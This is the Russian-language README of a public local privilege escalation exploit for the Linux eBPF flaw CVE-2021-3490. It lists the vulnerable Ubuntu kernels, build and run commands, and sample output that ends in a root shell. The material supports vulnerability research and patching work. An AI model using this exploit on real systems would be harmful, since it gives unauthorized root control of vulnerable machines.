
Эксплойт локального повышения привилегий в ядре Linux на основе eBPF, нацеленный на CVE-2021-3490. Предоставляет доступ к оболочке root на уязвимых ядрах Ubuntu версий с 5.8.0-25 по 5.11.0-16.
Эксплойт LPE для CVE-2021-3490. Проверен на ядрах Ubuntu 20.04.02 и 20.10 (Groovy Gorilla) версий 5.8.0-25.26 – 5.8.0-52.58, а также Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17. Уязвимость обнаружена Манфредом Полом @_manfp и исправлена в этом коммите.
автор: @chompie1337
Только для образовательных/исследовательских целей. Используйте на свой страх и риск.
Для сборки под Ubuntu 20.04.02 и Ubuntu 20.10 (Groovy Gorilla):
make groovy
Для сборки под Ubuntu 21.04 (Hirsute Hippo):
make hirsute
Для запуска:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
Примечание: Вы должны корректно выйти из рутовой оболочки, набрав exit, чтобы выполнить очистку и избежать паники ядра.
Ознакомьтесь с разбором Kernel Pwning with eBPF: a Love Story.